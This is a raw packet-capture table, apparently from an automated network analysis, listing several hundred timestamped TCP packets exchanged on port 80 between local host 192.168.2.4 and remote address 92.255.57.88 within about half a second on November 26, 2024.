Nov 26, 2024 00:07:41.990258932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.990360022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.994349957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.994477034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.994539976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.998408079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.998475075 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.998513937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.998562098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.002578020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.002629042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.002691984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.006853104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.006875992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.006931067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.010865927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.010940075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.010998964 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.014951944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.015062094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.015120983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.019088984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.019175053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.019233942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.023197889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.023327112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.023375034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.027350903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.027451038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.027498007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.031486988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.031646013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.031697035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.035643101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.035819054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.035865068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.039676905 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.039797068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.039844990 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.043807983 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.044894934 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.068888903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.068900108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.068958998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.070795059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.070851088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.070892096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.070944071 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.075000048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.076500893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.149802923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.149873018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.149930954 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.151355028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.151459932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.151527882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.154433012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.154488087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.155535936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.155642033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.155687094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.158548117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.158607006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.158638954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.158684015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.161629915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.161744118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.161786079 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.164593935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.164628029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.164649963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.164666891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.167546034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.167603970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.167977095 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.168025970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.170353889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.170399904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.170437098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.170480013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.173197031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.173296928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.173474073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.173520088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.176060915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.176107883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.176182985 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.176681042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.178894997 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.178939104 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.180591106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.180675030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.181706905 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.181833029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.181879997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.184552908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.184618950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.184689045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.187360048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.187422991 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.187598944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.187642097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.190239906 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.190285921 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.190335035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.193002939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.193051100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.193113089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.193212032 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.195852995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.195981026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.196012974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.196034908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.197933912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.198057890 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.198117018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.199898958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.199945927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.200011015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.200092077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.201926947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.202039003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.202060938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.202111006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.203891039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.204008102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.204071999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.205862045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.205918074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.206046104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.206098080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.207832098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.207878113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.207945108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.208058119 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.209913969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.209978104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.210047960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.211839914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.211894035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.211911917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.211954117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.213829994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.213881016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.213888884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.213928938 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.215821028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.215930939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.215984106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.217875004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.217997074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.218065977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.219794035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.219903946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.219959974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.221782923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.221857071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.221873999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.221890926 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.223784924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.223892927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.223942995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.225758076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.228581905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.278059959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.278107882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.278270960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.279019117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.279124022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.279165983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.281013012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.281079054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.281141043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.283015013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.283080101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.283122063 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.283168077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.284987926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.285084963 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.285140991 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.360686064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.360846043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.360884905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.360920906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.361341000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.361396074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.361435890 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.361486912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.363060951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.363121033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.363261938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.363317966 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.364747047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.364800930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.364973068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.365022898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.366272926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.366323948 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.366339922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.366384029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.367969990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.368017912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.368029118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.368083000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.369621992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.369676113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.369740009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.369787931 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.371263027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.371350050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.371367931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.371418953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.372912884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.373044014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.373106956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.374794960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.374845982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.374856949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.375058889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.376211882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.376347065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.376398087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.377881050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.377932072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.377964973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.378011942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.379542112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.379589081 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.379621983 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.379662037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.381172895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.381222963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.381289959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.381357908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.382836103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.382884026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.382956982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.383006096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.384493113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.384541988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.384639978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.384686947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.386214972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.386262894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.386358976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.386405945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.387808084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.387895107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.387923002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.387975931 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.389481068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.389538050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.389619112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.389667988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.391103029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.391149998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.391248941 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.391382933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.392832994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.392883062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.393029928 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.393076897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.394448996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.394542933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.394565105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.394612074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.396131039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.396214008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.396250010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.396296978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.397784948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.397882938 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.397974968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.398027897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.399375916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.399425983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.399462938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.399516106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.401063919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.401074886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.401104927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.401120901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.402684927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.402733088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.402769089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.402816057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.404171944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.404221058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.404517889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.404581070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.405550003 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.405596972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.405597925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.405638933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.406900883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.406954050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.406964064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.407015085 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.408289909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.408344030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.408714056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.408763885 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.409784079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.409837008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.410106897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.410156012 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.410999060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.411048889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.411134958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.411180019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.412373066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.412444115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.412818909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.412869930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.413731098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.413785934 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.413849115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.413898945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.415102005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.415153027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.415191889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.415236950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.416448116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.416496992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.416609049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.416661024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.417874098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.417922974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.417999029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.418045044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.419228077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.419276953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.419359922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.419406891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.420629978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.420686007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.420789003 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.420839071 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.421977997 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.422059059 CET	49753	80	192.168.2.4	92.255.57.88
